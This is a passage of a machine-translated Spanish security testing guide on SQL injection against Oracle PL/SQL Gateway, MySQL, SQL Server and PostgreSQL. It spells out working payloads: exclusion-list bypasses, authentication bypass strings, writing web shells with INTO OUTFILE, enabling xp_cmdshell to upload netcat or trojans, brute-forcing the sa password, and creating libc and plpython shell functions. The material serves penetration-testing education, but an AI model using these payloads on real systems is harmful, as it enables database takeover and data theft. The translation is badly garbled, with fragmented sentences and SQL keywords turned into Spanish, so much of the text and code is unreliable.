Servidor HTTP Oracle alimentado por Apache/1.3.19 (Unix) mod_plsql /3.0.9. 8.3a
Oracle_Web_listener3.0.2.0.0/2.14FC1
La prueba NULA
SQL> COMENZAR
NULO;
FIN;
249
Podemos usar esto para probar si el servidor está ejecutando la puerta de enlace PL/SQL.
Simplemente tomar el DAD y agregar NULO , entonces
adjuntar NOSUPROC:
http://www.example.com/pls/dad/null
http://www.example.com/pls/dad/nosuchproc
Si el servidor responde con una respuesta 200 OK para la primera y una 404 No Encontró para el
segundo entonces él indica eso
En más viejo versiones de la puerta de enlace PL/SQL , es posible a directamente acceder a los
paquetes eso desde la Web PL/SQL
Kit de herramientas como los paquetes OWA y HTP . Uno de estos paquetes es el paquete
OWA_UTIL , que Bueno hablar
sobre más tarde en . Este paquete contiene un procedimiento llamado FIRMA y simplemente
genera en HTML un PL/SQL
http://www.example.com/pls/dad/owa_util.signature
" Esta página fue producido por el kit de herramientas web PL/SQL a tiempo"
Este es la respuesta que tu debería entrar más tarde versiones o parcheado sistemas .
Él es posible a explotar vulnerabilidades en los paquetes PL/SQL que estan instalados por defecto
en el servidor de base de datos . Cómo
nada detener un atacante acceda un paquete PL/SQL arbitrario en el servidor de base de datos .
Nosotros mencionó el
Paquete OWA_UTIL más temprano . Esto se puede utilizar para ejecutar consultas SQL arbitrarias :
http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT?
P_THEQUERY=SELECCIONAR+NOMBRE DE USUARIO+DE+TODOS_USUARIOS
Ataques de secuencias de comandos entre sitios podría ser lanzado a través del paquete HTP :
Claramente , esto es peligroso , por lo que Oracle introdujo una exclusión PLSQL lista a prevenir
directo acceso a semejante peligroso
procedimientos . Prohibido elementos incluir cualquier pedido a partir de con SYS.* , cualquiera
pedido a partir de con DBMS_* , cualquiera pedido con
HTP.* o OWA*. Él es posible para evitar la exclusión lista sin embargo . Es más, la exclusión lista
hace no prevenir
acceso a paquetes en los esquemas CTXSYS y MDSYS o otros , entonces es posible a explotar
defectos en estos paquetes :
http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?
SQLSTMT=SELECT+1+FROM+DUAL
Este voluntad devolver una página HTML en blanco con una respuesta 200 OK si el servidor de la
base de datos está todavía vulnerable a este defecto (CVE2006-0265)
A lo largo de los años , Oracle PL/SQL Gateway ha sufrido una serie de de defectos , incluyendo
acceso a administración paginas
para evitar la exclusión Lista y listo en a acceder y ejecutar paquetes PL/SQL arbitrarios en el
servidor de bases de datos .
Omitir la exclusión de PL/SQL Lista
250
Él es increíble cómo muchas veces Oracle ha intentado a arreglar defectos eso permitir atacantes
para evitar la exclusión lista . Cada
parche que Oracle ha producido ha sido víctima a una nueva técnica de bypass . La historia de este
Lo siento historia
Cuando Oracle primero introdujo la exclusión de PL/SQL Lista a prevenir atacantes accedan
paquetes PL/SQL arbitrarios ,
él podría ser trivialmente omitido por precedendo al nombre del esquema / paquete con un
maleficio codificado nueva línea personaje o
espacio o pestaña :
http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC
http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
Más tarde versiones del Gateway permitido atacantes para evitar la exclusión lista por precedendo
al nombre del
esquema / paquete con una etiqueta . En PL/SQL una etiqueta puntos a una línea de código que se
puede saltar a usando el IR A
http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC
Simplemente colocando el nombre del esquema / paquete en doble citas podría permitir un
agresor para evitar la exclusión lista .
Tenga en cuenta que este voluntad no trabajar en Oracle Application Server 10g ya que convierte
el usuario pedido a minúscula antes
peticiones para despues voluntad resulta en un 404 No Encontró . En más temprano versiones
aunque lo siguiente puede evitar la exclusión
lista :
http://www.example.com/pls/dad/"SYS".PACKAGE.PROC
traducido . Así , dependiendo según los conjuntos de caracteres en uso, el carácter ÿ ( 0 xFF )
podría convertirse a una Y en el
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S
%AFS.PACKAGE.PROC
Alguno versiones del Gateway PL/SQL permiten la exclusión lista ser pasado por alto con una barra
invertida - 0x5 C :
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
solicitar lo siguiente
http://www.example.com/pls/dad/foo.bar?xyz=123
declarar
rc __ número ;
hora_inicio __ entero_binario ;
lista_simple __ owa_util.vc_arr ;
lista_compleja __ owa_util.vc_arr ;
251
comenzar
hora_inicio _ _ : = dbms_utility.get_time ;
owa.init _cgi_env (: n__,:nm__,:v __);
nulo ;
nulo ;
si (( owa_ match.match _pattern (' foo.bar ', lista_simple __, lista_compleja __, verdadero)))
entonces
rc _ _ : = 2;
demás
nulo ;
foo.bar ( XYZ=>:XYZ);
si ( wpg_docload.is_file_download ) entonces
rc _ _ : = 1;
wpg_docload.get_download_file (: doc_info );
nulo ;
nulo ;
comprometerse ;
demás
rc _ _ : = 0;
nulo ;
nulo ;
comprometerse ;
fin si ;
fin si ;
: rc __ : = rc __;
fin ;
Aviso líneas 19 y 24. En la línea 19, el usuario pedido es comprobado contra una lista de cadenas "
malas " conocidas , es decir, la exclusión
http://server.example.com/pls/dad/INJECT'POINT
..
if (( owa_ match.match _pattern (' inject'point ', lista_simple __ lista_compleja __, verdadero)))
entonces
rc _ _ : = 2;
demás
nulo ;
punto de inyección ;
..
Este genera un error en el registro de errores: “PLS-00103: Encontré el símbolo 'PUNTO' cuando
esperando uno del
siguiente . . .” Qué nosotros tener aquí está lejos a inyectar SQL arbitrario . Esto puede ser
explotado para evitar la exclusión lista .
Primero , el atacante necesidades a encontrar un procedimiento PL/SQL eso no toma parámetros y
no coincide con nada en el
exclusión lista . Hay una buena número de paquetes predeterminados que coincida con esto
criterio para ejemplo :
252
JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTRECLOSE
ORASSO.INICIO
WWC_VERSION.GET_HTTP_DATABASE_INFO
Un agresor deberías elegir uno de estos funciones eso es de hecho disponible en el sistema de
destino (es decir, devuelve un 200 OK
http://server.example.com/pls/dad/orasso.home?FOO=BAR
parámetros y uno ha sido suministrado . Sin embargo , antes de que el 404 sea devuelto , el
siguiente PL/SQL es ejecutado :
..
..
si (( owa_ match.match _pattern (' orasso.home ', lista_simple __, lista_compleja __, verdadero)))
entonces
rc _ _ : = 2;
demás
nulo ;
orasso.home (FOO=>:FOO);
..
..
Note la presencia de FOO en el atacante consulta cadena . Los atacantes pueden abusar de esto.
para ejecutar SQL arbitrario . Primero ellos necesidad
http://server.example.com/pls/dad/orasso.home?);--=BAR
..
orasso.home ();--=>:);--);
..
Tenga en cuenta que todo después del doblete menos ( -- ) es tratado como un comentario . Este
pedido causará un servidor interno
error porque uno de las variables de enlace ya no es usado , por lo que el atacante necesidades a
agregar de vuelta. Como lo sucede , es este
vincular la variable que es la llave para ejecutar PL/SQL arbitrario . Por el momento , sólo pueden
usar HTP.PRINT para imprimir BARRA,
http://servidor.ejemplo.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR
Este debería Devuelve un 200 con la palabra "BAR" en el HTML. Que esta pasando aqui es eso todo
después de los iguales
signo - BAR en este caso - son los datos insertados en la variable de enlace . usando lo mismo
técnica es posible a también ganar
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--
=SELECT+USERNAME+FROM+ALL_USERS
Ejecutar SQL arbitrario , incluidas declaraciones DML y DDL , el atacante inserciones un ejecutar
inmediato :1:
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select
%201%20from%20dual
Tenga en cuenta que el resultado no se mostrará . Esto se puede aprovechar a explotar cualquier
error de inyección PL/SQL que posea por SYS,
de este modo habilitando un agresor a obtener control total del backend servidor de base de
datos . Para Por ejemplo , la siguiente URL
253
acepta ventaja de la inyección SQL fallas en DBMS_EXPORT_EXTENSION
http://www.example.com/pls/dad/orasso.home?);
BUF:=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDEX_NAME','INDEX_SCHEMA','D
BMS_OUTPUT.PUT_
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';
FIN;-- ','SYS',1,'VER',0);END;
Cada parámetro de entrada debe ser probado para inyección SQL defectos . estos son faciles a
buscar y confirmar . Hallazgo a ellos es como
tan fácil como insertar una comilla simple en el parámetro y comprobando para respuestas de
error ( que incluir 404 no Encontró
Para ejemplo , supongamos allá es una aplicación web PL/SQL de librería eso permite usuarios a
buscar para libros por un dado
autor :
http://www.example.com/pls/bookstore/books.search?author=DICKENS
http://www.example.com/pls/bookstore/books.search?author=DICK'ENS
devoluciones un error o un 404, entonces allá podría ser una inyección SQL defecto . Esto se puede
confirmar por usando la concatenación
operador :
http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS
Si este pedido devoluciones libros por Charles Dickens, has confirmó la presencia de la inyección
SQL vulnerabilidad .
Herramientas
Orascan (escáner VA de aplicación web Oracle ), NGS SQuirreL (escáner VA Oracle RDBMS)
Referencias
Libros blancos
254
Resumen
Inyección SQL vulnerabilidades ocurrir siempre que la entrada sea utilizado en la construcción de
una consulta SQL sin ser adecuadamente
constreñido o desinfectado . El uso de SQL dinámico (la construcción de consultas SQL por
concatenación de cuerdas ) se abre
la puerta a estos vulnerabilidades . inyección SQL permite un agresor a acceder a los servidores
SQL. Él permite para la ejecución
de código SQL bajo los privilegios del usuario usado a conectar a la base de datos .
El servidor MySQL tiene algunos particularidades para que alguno hazañas necesidad ser
especialmente personalizado para este solicitud . Eso es
Cómo Probar
Cuando una inyección SQL vulnerabilidad es encontrado en un solicitud Respaldados por una base
de datos MySQL , hay un número de
ataques eso podría realizarse dependiente sobre la versión y el usuario de MySQL privilegios en
DBMS.
MySQL viene con al menos cuatro versiones que se utilizan en la producción en todo el mundo ,
3.23.x, 4.0.x, 4.1.x y
Él debe tenerse en cuenta eso para versiones MySQL antes de 4.0.x, sólo Booleano o basado en el
tiempo Ciego Inyección ataques podría ser
Desde ahora en , nosotros voluntad asumir eso allá es una inyección SQL clásica vulnerabilidad ,
que puede desencadenarse por una solicitud
http://www.example.com/page.php?id=2
Antes tomando ventaja de las características de MySQL , se debe tener en cuenta cómo
instrumentos de cuerda podría representarse en un
declaración , ya que a menudo las aplicaciones web escapan de las comillas simples .
Eso es , MySQL interpreta escapado apóstrofes \' como caracteres y no como metacaracteres .
Entonces , si la aplicación , a trabajar adecuadamente , necesita usar constante cadenas , hay que
diferenciar dos casos :
Bajo MySQL, hay es una forma estándar para evitar la necesidad de comillas simples , teniendo
una constante cadena ser declarado
vamos suponer nosotros desear a conocer el valor de un campo llamado contraseña en un registro
, con una condición como el siguiente :
255
1; actualizar nombre de tabla establecer código =' javascript código ' donde 1 --
Información Reunión
De Por supuesto , el primero cosa a saber es si hay MySQL DBMS como back- end base de datos .
El servidor MySQL tiene una característica. eso es
usado a dejar Otros DBMS ignoran una cláusula en el dialecto MySQL . Cuando un bloque de
comentarios '/**/' contiene un exclamación
marca '/*! SQL aquí es interpretado por MySQL, y es considerado como un bloque de comentarios
normal por otros DBMS como
Ejemplo :
1/*! y 1=0 */
Versión
3. Por usando comentario toma de huellas dactilares con una versión número /*!40110 y 1=0*/
cual medio
Inyección en banda :
inferencial inyección :
Acceso Usuario
256
Allá es alguno diferencia entre 1 y 2. El principal uno es eso un anónimo usuario podría conectar
( si permitido ) con
cualquier nombre , pero el MySQL interno usuario es un vacío nombre (''). Otro diferencia es que
un almacenado procedimiento o un almacenado
La función se ejecuta como creador. usuario , si no declarado en otros lugares . Esto se puede
saber por usando CURRENT_USER .
Inyección en banda :
inferencial inyección :
usuario@nombre de host
Inyección en banda :
inferencial inyección :
nombrebd
INFORMACIÓN_ESQUEMA
Desde MySQL 5.0 una vista llamado INFORMACIÓN_SCHEMA era creado . Él permite a nosotros a
conseguir todo informaciones acerca de
bases de datos , tablas y columnas , así como procedimientos y funciones .
Tablas_en_INFORMACIÓN_ESQUEMA DESCRIPCIÓN
ESQUEMAS Todos bases de datos que el usuario tiene (al menos ) SELECT_priv
SCHEMA_PRIVILEGES Los privilegios que tiene el usuario para cada base de datos
TABLES Todas las tablas que tiene el usuario (al menos ) SELECT_priv
257
Todo de este información podría ser extraído por usando conocido técnicas como se describen en
Inyección SQL sección .
Ataque Vectores
Escribir en un archivo
Si el conectado El usuario tiene privilegios de ARCHIVO y las comillas simples no son escapó , el
dentro archivo se puede utilizar la cláusula
Nota: hay no hay manera para omitir las comillas simples rodeando un nombre de archivo . Así
que si hay alguno desinfección entre comillas simples
como escapar \' allí no habrá manera para usar el en archivo cláusula .
Este amable de ataque podría usarse como un técnica fuera de banda a ganar información sobre
los resultados de una consulta o a escribir
un archivo que podría ser ejecutado dentro del directorio del servidor web .
Ejemplo :
1 límite 1 en outfile '/ var /www/ root / test.jsp ' CAMPOS ENCERRADOS POR '//' LÍNEAS
TERMINADAS POR '\n<% jsp co
de aquí %>';
Los resultados se almacenan en un archivo con rw-rw-rw privilegios propiedad por usuario y grupo
de MySQL .
cargar archivo es una función nativa que puede leer un archivo cuando permitido por el sistema de
archivos permisos . Si un conectado usuario
tiene privilegios de ARCHIVO , puede ser usado a obtener el contenido de los archivos . Las
comillas simples pueden escapar de la desinfección mediante omitido por
Todo el archivo estará disponible . para exportador por utilizando técnicas estándar .
En una inyección SQL estándar tu puedes tener resultados desplegado directamente en una página
como salida normal o como un error de MySQL. Por
ser fácilmente logrado a un nivel profundidad dependiente ante todo en la versión MySQL el
pentester es frente a .
Un bien ataque es a conocer los resultados por forzar una función / procedimiento o el propio
servidor a tirar un error. Una lista de errores
arrojado por MySQL y en particular funciones nativas pudo ser encontrado en el manual MySQL.
Para inyección SQL ciega , hay es un conjunto de útil función nativamente proporcionó por el
servidor MySQL.
Cadena Longitud :
LONGITUD ( cadena )
258
ser usado a realizar ataques de sincronización cuando ciego inyección por booleano valores hace
no producir cualquier resultados . Ver .
Herramientas
Reversing.org - sqlbftools
Referencias
Libros blancos
Estudios de caso
259
Resumen
En esto sección algo de inyección SQL técnicas eso utilizar específico características Se discutirá el
uso de Microsoft SQL Server .
inyección SQL vulnerabilidades ocurrir siempre que la entrada sea utilizado en la construcción de
una consulta SQL sin ser
cuerdas ) abre la puerta a estos vulnerabilidades . inyección SQL permite un agresor a acceder a
los servidores SQL y ejecutar
código SQL bajo los privilegios del usuario usado a conectar a la base de datos .
Como se explica en Inyección SQL , una inyección SQL explotar requiere dos cosas : un entrada
punto , y un explotar a ingresar . Cualquier
controlado por el usuario parámetro eso obtiene procesada por la aplicación podría estar
ocultando una vulnerabilidad . Este incluye :
Solicitud parámetros incluido como parte del cuerpo de una solicitud POST
El servidor Microsoft SQL tiene algunos único características , por lo que algunas hazañas
necesidad ser especialmente personalizado para este
solicitud .
Cómo Probar
Para empezar , vamos ver algunos operadores y comandos de SQL Server / almacenados
procedimientos que son útiles en una Inyección SQL
prueba:
comentario operador : -- ( útil para forzando la consulta ignorar el resto parte de la consulta
original ; este no
xp_cmdshell ejecuta cualquier dominio shell en el servidor con el mismo permisos eso él es
actualmente en ejecución.
Por defecto, sólo administrador de sistemas es permitido para usarlo y en SQL Server 2005 es
desactivado por defecto ( puede ser
sp_makewebtask Genera un comando de Windows shell y pasa en una cadena para ejecución .
Cualquier salida es
devuelto como filas de texto . Él requiere administrador de sistemas privilegios .
xp_sendmail Envía un mensaje de correo electrónico , que puede incluir una consulta adjunto del
conjunto de resultados , al especificado
destinatarios . Este almacenado extendido El procedimiento utiliza SQL Mail para envía el
mensaje .
vamos ver ahora alguno ejemplos de ataques específicos de SQL Server que utilizan lo antes
mencionado funciones . Mayoría de estos
Abajo te mostramos como a ejecutar un shell dominio eso escribe la salida del comando dir c:\
inetpub en un
archivo navegable , asumiendo que el servidor web y el servidor de base de datos residan en el
mismo host. La siguiente usos de sintaxis
xp_cmdshell :
260
Un éxito ejecución voluntad crear un archivo que se pueda explorar por el probador de pluma .
Tenga en cuenta eso sp_makewebtask es
en desuso , e incluso si él funciona en todas las versiones de SQL Server hasta 2005 , podría ser
eliminado en el futuro.
Además , las funciones integradas y las variables de entorno de SQL Server son muy útil . Lo
siguiente utiliza la función
db_ nombre ( ) a desencadenar un error que voluntad devolver el nombre de la base de datos :
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-
06,1,'stat','nombre1','nombre2',2006-01-
Y aquí está lo mismo ataque , pero usando otra vez la conversión truco :
Información reunión es útil para explotar vulnerabilidades de software en el servidor SQL, a través
de la explotación de un
A continuación mostramos varios ejemplos eso explotar la inyección SQL vulnerabilidades a través
de diferente entrada puntos .
El más simple (y a veces mayoría gratificante ) caso sería que de una página de inicio de sesión que
solicita un nombre de usuario y
contraseña para usuario acceso . Puedes intentar ingresar lo siguiente cadena “' o '1'='1” ( sin
doble citas ):
https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1
Si la aplicación es usando consultas SQL dinámicas y la cadena obtiene adjunto al usuario cartas
credenciales validación consulta ,
https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL
%201,1,'a',1,1,1%20FROM%20users;--
Inyección SQL , contenido HTTP POST: correo electrónico =% 27& WhichSubmit = enviar&submit.x
=0& enviar.y =0
Anfitrión: vulnerable.web.app
[...]
261
Referencia : http://vulnerable.web.app/forgotpass.asp
Contenido- Longitud : 50
El mensaje de error obtenido cuando un carácter '( comilla simple ) es ingresado en el campo de
correo electrónico es :
/forgotpass.asp, línea 15
Todo libros y papeles describiendo la seguridad mejor practicas para SQL Server recomendado
deshabilitar xp_cmdshell en SQL
Server 2000 (en SQL Server 2005 es es desactivado por defecto). Sin embargo , si nosotros tener
administrador de sistemas derechos ( nativamente o por
fuerza bruta al administrador del sistema contraseña , ver a continuación ), a menudo podemos
omitir este limitación .
devolver @resultado
Este código , escrito por Antonin Foller ( ver enlaces en la parte inferior de la página), crea un
nuevo xp_cmdshell usando
esto nosotros necesidad a eliminar el primero xp_cmdshell nosotros creado ( incluso si él era no
funcionando ), de lo contrario los dos declaraciones voluntad
chocar.
En SQL Server 2005, se puede habilitar xp_cmdshell por inyectando lo siguiente código en cambio :
reconfigurar
reconfigurar
262
Referencia : https://vulnerable.web.app/login.aspx', ' user_agent ', ' some_ip '); [CÓDIGO SQL]--
Permite la ejecución de Código SQL arbitrario . Lo mismo sucede con el User-Agent encabezado
establecido en :
En SQL Server, uno de los más útil (al menos para la penetracion probador ) comandos es
OPENROWSET, que es usado a
ejecutar una consulta en otro servidor de base de datos y recuperar los resultados . la penetracion
El probador puede usar esto. dominio a escanear puertos
Seleccionar de
OPENROWSET( 'SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Dirección=xywz,p;timeout=
5','select 1')--
Este consulta voluntad intentar una conexión a la dirección xywz en puerto pág. si el puerto es
cerrado , lo siguiente mensaje será
devuelto :
En el otro mano , si el puerto está abierto, uno de los siguientes errores Será devuelto :
Se informó el proveedor OLE DB ' sqloledb ' un error. El proveedor hizo no dar cualquier
información sobre el error.
qué es yendo encendido : con un cerrado puerto , el tiempo de espera (5 segundos en este
ejemplo ) se consumirá , mientras que un puerto abierto
Tenga en cuenta que OPENROWSET es activado de forma predeterminada en SQL Server 2000
pero deshabilitado en SQL Server 2005.
Una vez que podamos usar xp_cmdshell ( ya sea el nativo o una costumbre uno ) , podemos
fácilmente subir ejecutables sobre el
servidor de base de datos de destino. Un muy común elección es netcat.exe, pero cualquier
troyano será útil aquí . Si el objetivo es permitido a
iniciar conexiones FTP a la máquina del probador , todos eso es necesario es a inyecta lo siguiente
consultas :
Si FTP es no permitido por el firewall, nosotros tener una solución eso explota el depurador de
Windows , debug.exe, eso es
Subir archivo línea por línea y finalmente llame a debug.exe en él . Hay varios herramientas eso
crear semejante archivos de depuración ( por ejemplo :
makecr.exe por ollie Whitehouse y dbgtool.exe por herramientacrypt.org) . las consultas a inyectar
voluntad por lo tanto sea el
siguiente :
263
....
En esto punto , nuestro ejecutable es disponible en la máquina de destino, listo para ser ejecutado
. hay herramientas eso automatizar este
proceso , la mayoría notablemente gato montés , cual carreras en Windows y Sqlninja , que
carreras en Unix ( consulte las herramientas en el
No todo es perdido cuando la aplicación web hace no devolver cualquier información , como
mensajes de error descriptivos (cf. Blind
Inyección SQL ). Para ejemplo , es podría suceder eso uno tiene acceso a la fuente código ( por
ejemplo , porque la aplicación web
sin conexión en la aplicación web . A pesar de un IPS podría detener algunos de estos ataques , el
mejor forma sería para proceder como
sigue : desarrollar y probar los ataques en un banco de pruebas creado para eso propósito , y
luego ejecutar estos ataques en contra de
Otro opciones para afuera Los ataques de banda se describen en el ejemplo 4 anterior (GET-
Ejemplo ).
Prueba y error
Alternativamente , uno puede jugar afortunado . Eso es el atacante puede asumir eso allá es un
ciego o inyección SQL fuera de banda
este canal y observe la respuesta. Para Por ejemplo , si la aplicación web es mirando para un libro
usando una consulta
seleccionar * de libros dónde título =" texto ingresó por el usuario "
luego la penetracion ensayador podría ingrese el texto : 'Bomba' O 1=1- y si los datos son no
adecuadamente validada , la consulta voluntad ir
a través y devolver el todo lista de libros . Este es evidencia eso allá es una inyección SQL
vulnerabilidad . la penetracion
ensayador podría más tarde jugar con las consultas en orden a evaluar la criticidad de este
vulnerabilidad .
En el otro mano , si no hay información previa es disponible , hay es todavía una posibilidad de
agresor por explotando cualquier encubierto
canal . Él podría suceder que los mensajes de error descriptivos se detengan , pero los mensajes de
error dar alguno información .
Para ejemplo :
En algunos casos, la aplicación web ( en realidad, el servidor web) puede devolver el tradicional
500: Servidor Interno
Error , decir cuando la solicitud devoluciones un excepción eso podría generarse , por ejemplo ,
mediante una consulta con
no cerrado citas .
Mientras que en otros casos el servidor devolver un mensaje 200 OK , pero la aplicación web
voluntad devolver algún error
mensaje insertado por los desarrolladores Error interno del servidor o malo datos .
Este un poco de información podría ser suficiente a entender cómo la consulta SQL dinámica es
construido por la web
aplicación y afinar un explotar . Otro método fuera de banda es para generar los resultados a
través de archivos navegables HTTP .
Ataques de sincronización
Allá es una posibilidad más para haciendo una inyección SQL ciega ataque cuando allá es
comentarios no visibles del
aplicación : por midiendo el tiempo que la aplicación web acepta a responder una solicitud . Un
ataque de este clasificar es descrito
por anley de donde nosotros toma el siguiente ejemplos . un tipico El enfoque utiliza la espera.
demora comando : vamos decir eso
el atacante quiere a controlar si los pubs muestrean base de datos existe , él lo hará simplemente
inyecta lo siguiente dominio :
264
para cada consulta . Por lo tanto , utilizando varios consultas ( tantas consultas como bits en el
requerido información ) el pen tester puede
conseguir cualquier dato que está en la base de datos . Mira lo siguiente consulta
declarar @i int
Medir el tiempo de respuesta y utilizar diferente valores para @yo , podemos deducir la longitud
del nombre de la corriente
base de datos y luego comenzar a extraer el nombre sí mismo con lo siguiente consulta :
if ( ascii ( subcadena (@s, @byte, 1)) & ( potencia (2, @bit))) > 0 esperar retraso '0:0:5'
Este consulta voluntad esperar durante 5 segundos si bit @bit del byte @byte del nombre de la
corriente base de datos es 1, y será volver a
una vez si él es 0. Anidamiento dos ciclos ( uno para @byte y uno por @ bit) nosotros voluntad
nosotros capaz a extraer el todo pedazo de
información .
De todos modos , eso podría suceder que el comando esperar es no disponible ( por ejemplo ,
porque él es filtrado por una IPS/web
de la aplicación ). Este no significa eso inyección SQL ciega ataques no se puede hacer, ya que el
probador de lápiz debería solo
seleccione @i = @i + 1
fin
Se puede utilizar el mismo enfoque de sincronización también a entender cual versión de SQL
Server que estamos tratando con . De curso
seleccione @@versión
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 14 de octubre de 2005 00:33:37
La parte de 2005 de la cuerda abarca desde el carácter 22 al 25 . Por lo tanto , uno consulta a
inyectar puede ser el
siguiente :
Para aplicar fuerza bruta al administrador del sistema contraseña , podemos aprovechar el hecho
que OPENROWSET necesita adecuado cartas credenciales a
exitosamente realizar la conexión y que dicha conexión también se puede “ enlazar ” al servidor de
base de datos local. Combinatorio
seleccione * de OPENROWSET('SQLOLEDB','';' sa ';'< pwd >',' seleccione 1;esperar retraso ''0:0:5'' ')
265
Qué lo hacemos aquí es a intentar una conexión a la base de datos local ( especificada por el vacío
campo después de SQLOLEDB) usando
haciendo esperar a la base de datos durante 5 segundos (y también devolviendo un valor , ya que
OPENROWSET espera al menos uno columna ).
Obtener las contraseñas candidatas de una lista de palabras y medir el tiempo necesario para cada
conexión , podemos intentar
a adivina lo correcto contraseña . En “ Minería de datos con inyección e inferencia SQL ”, David
Litchfield empuja este
técnica incluso además , por inyectando una pieza de código en orden a fuerza bruta al
administrador del sistema contraseña usando la CPU
Una vez que nosotros tener el administrador de sistemas contraseña , nosotros tener dos opciones
:
Inyectar todo siguiente consultas usando OPENROWSET, en orden usar administrador de sistemas
privilegios
Agregar nuestro actual usuario al administrador del sistema grupo usando sp_adsrvrolemember .
La corriente el nombre de usuario se puede extraer
usando inferencia inyección contra la variable system_user .
Recordar que OPENROWSET es accesible a todo usuarios en SQL Server 2000 pero él es restringido
a administrativo
Herramientas
Referencias
Libros blancos
Tecnología Unixwiz.net de Steve Friedl Consejos : “ Inyección SQL Ataques por Ejemplo "
Inyección SQL
Cesar Cerrudo : Manipulación de Microsoft SQL Server mediante inyección SQL , carga de archivos,
obtención en interno
266
Probando PostgreSQL
Resumen
En esto sección , algo de inyección SQL técnicas para PostgreSQL se discutirá . Estos técnicas tener
lo siguiente
características :
Conector PHP permite múltiple declaraciones ser ejecutado por usando ; como una declaración
separador
LIMIT y OFFSET se pueden usar en una declaración SELECT a recuperar una porción del conjunto
de resultados generado por el
consulta
Desde ahora en él es ficticio que http://www.example.com/news.php?id=1 es vulnerable a la
inyección SQL ataques .
Cómo Probar
Identificando PostgreSQL
Cuando se ha realizado una inyección SQL te encontré necesidad a con cuidado huella digital del
backend base de datos motor . Puede
determinar que el backend base de datos motor es PostgreSQL por usando el elenco operador .
Ejemplos
Además , la función se puede utilizar la versión ( ) a toma el banner de PostgreSQL. Este voluntad
también muestra el subyacente
Ejemplo
PostgreSQL 8.3.1 en i486-pc-linux-gnu, compilado por GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Ciego Inyección
Para inyección SQL ciega ataques , tu debería llevar en consideración lo siguiente funciones
integradas :
A partir de la versión 8.2, PostgreSQL introdujo una función incorporada , pg_sleep ( n ). a hacer la
corriente sesión proceso
Inyección ).
Además , puedes fácilmente crear una costumbre pg_sleep (n) en anterior versiones por usando
libc :
función CREAR pg_sleep ( int ) DEVUELVE int AS '/ lib /libc.so.6', ' sleep ' IDIOMA 'C' ESTRICTO
Una frase escapar
Las cadenas se pueden codificar para evitar comillas simples escapando , por usando Función chr
().
267
114
111
116
Ejemplo
Ataque Vectores
Actual Usuario
La identidad de la corriente el usuario puede ser recuperado con las siguientes sentencias SELECT
de SQL :
SELECCIONAR usuario
SELECCIONE usuario_actual
SELECCIONE usuario_sesión
SELECCIONE getpgusername ( )
Ejemplo
http://www.example.com/store.php?id=1 UNION ALL SELECT usuario, NULL , NULL -
La función incorporada base de datos actual ( ) devuelve la base de datos actual base de datos
nombre .
Ejemplo
Lectura de un archivo
COPIAR declaración
COPIAR
Este El operador copia datos entre un archivo y una tabla. El motor PostgreSQL accede al sistema
de archivos local como
postgres usuario .
Ejemplo
268
/ store.php?id =1; COPIAR file_store (datos) DESDE '/ var / lib / postgresql /. psql _history '--
Se deben recuperar los datos por realizando una inyección SQL de consulta UNION :
/ store.php?id =1 UNION ALL SELECT NULL, NULL, max ( id):: texto FROM file_store LIMIT 1 OFFSET
1;--
/ store.php?id =1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;- -
/ store.php?id =1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;- -
...
...
/ store.php?id =1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;- -
pg_read_ archivo ( )
Este función era introducido en PostgreSQL 8.1 y permite uno a leer archivos arbitrarios ubicados
dentro de los datos DBMS
directorio .
Ejemplo
Escribiendo a un archivo
Por revirtiendo la declaración COPY , podemos escribir al sistema de archivos local con los postgres
usuario derechos
/ store.php?id =1; COPIAR file_store (datos) A '/ var / lib / postgresql / copy_output '--
Inyección de concha
Biblioteca dinámica
Hasta PostgreSQL 8.1 , era posible a agregar una costumbre función vinculado con libc :
CREAR FUNCIÓN sistema ( cstring ) DEVUELVE int AS '/ lib /libc.so.6', ' system ' IDIOMA 'C'
ESTRICTO
Desde sistema devoluciones un En t cómo podemos buscar resultados del sistema salida
estándar ?
crear una tabla de salida estándar : CREAR TABLA salida estándar ( id de serie, salida_sistema)
texto )
ejecutando un shell dominio redireccionando es salida estándar : SELECCIONAR sistema (' uname -
a > / tmp /test')
declaraciones COPY a empujar la salida de anterior comando en la tabla stdout : COPIAR stdout
( system_out ) DESDE
Ejemplo
identificación=1; CREAR FUNCIÓN sistema ( cstring ) DEVUELVE int AS '/ lib /libc.so.6','system'
IDIOMA 'C'
ESTRICTO --
/ store.php?id =1; COPIAR salida estándar ( salida_sistema ) DESDE '/ tmp /prueba' --
(SELECCIONE system_out DESDE stdout ORDEN POR id DESC ), LÍMITE NULO 1 COMPENSACIÓN 1--
269
plpython
Controlar si PL/Python ha sido activado en una base de datos : SELECCIONE el recuento ( *) DESDE
pg_language DONDE
Si cualquiera de los anteriores tuvo éxito , cree un shell proxy función : CREAR FUNCIÓN proxyshell
( texto ) DEVUELVE texto
AS ' importar sistema operativo; devolver os.popen ( argumentos [0]). leer () 'IDIOMA plpythonu
Ejemplo
Crear un shell proxy función : / store.php?id =1; CREAR FUNCIÓN proxyshell ( texto ) DEVUELVE
